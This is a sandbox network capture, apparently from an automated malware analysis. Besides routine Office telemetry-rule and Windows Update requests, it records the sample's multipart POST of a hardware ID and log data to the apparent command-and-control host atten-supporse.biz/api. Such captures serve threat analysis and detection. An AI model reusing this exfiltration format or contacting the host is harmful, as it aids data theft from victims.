2024-12-07 16:35:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49728	104.21.16.9	443	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:27 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LHO6D76B4X9JJ6W85 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15076 Host: atten-supporse.biz
2024-12-07 16:35:27 UTC	15076	OUT	Data Raw: 2d 2d 4c 48 4f 36 44 37 36 42 34 58 39 4a 4a 36 57 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 30 46 32 33 41 32 46 30 43 44 35 38 31 39 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 4c 48 4f 36 44 37 36 42 34 58 39 4a 4a 36 57 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 48 4f 36 44 37 36 42 34 58 39 4a 4a 36 57 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --LHO6D76B4X9JJ6W85Content-Disposition: form-data; name="hwid"BE0F23A2F0CD5819D599DAF6C95D6029--LHO6D76B4X9JJ6W85Content-Disposition: form-data; name="pid"2--LHO6D76B4X9JJ6W85Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-07 16:35:29 UTC	1047	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dafu8t87vppumqa0eq3r97podn; expires=Wed, 02-Apr-2025 10:22:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qZ7ibWGqyn3bRGEawW%2BjY5Pljob029R8QRIHqK9QYlZKdh8n4UxoX8%2BtPUsrXWzHFr93GNnDMIyC%2BBGBAN62R3ds%2B7NGR3WdkUGBSN6CBa5W8dTDcB8b4aJrPCKP%2FcE0qS4nkVU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee5edcfe9104390-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&min_rtt=1754&rtt_var=674&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16017&delivery_rate=1604395&cwnd=243&unsent_bytes=0&cid=0f43ea7691e64f2e&ts=2697&x=0"
2024-12-07 16:35:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-07 16:35:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163527Z-r1cf579d778g2t6ghC1EWRfggs00000002bg000000002af5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:27 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ad3e0835-e01e-0033-5701-484695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163527Z-r1cf579d778dfdgnhC1EWRd3w000000002mg000000007ufb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fff301c7-601e-0097-4606-48f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163527Z-r1cf579d778dc6d7hC1EWR2vs800000003f0000000007an3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163527Z-r1cf579d778qlpkrhC1EWRpfc800000003e0000000008rsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 16:35:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:28 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163529Z-r1cf579d7786c2tshC1EWRr1gc00000002hg00000000352n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163530Z-r1cf579d778w59f9hC1EWRze6w000000035g000000001we9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163530Z-r1cf579d778dc6d7hC1EWR2vs800000003gg000000005k2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:30 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163530Z-r1cf579d778xq4f9hC1EWRx41g00000002tg000000000r2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:30 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:29 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163530Z-r1cf579d778kr8xrhC1EWRfkun0000000360000000009kcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49729	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bY3mL7oZgPN4r+r&MD=+LovX38k HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 16:35:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 77426eca-a120-4614-9c08-8357051e08dd MS-RequestId: fcfb1a89-dbd6-4e98-8e6f-6d862942e051 MS-CV: UDw/ukxaLkGFWjzy.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 16:35:30 GMT Connection: close Content-Length: 24490
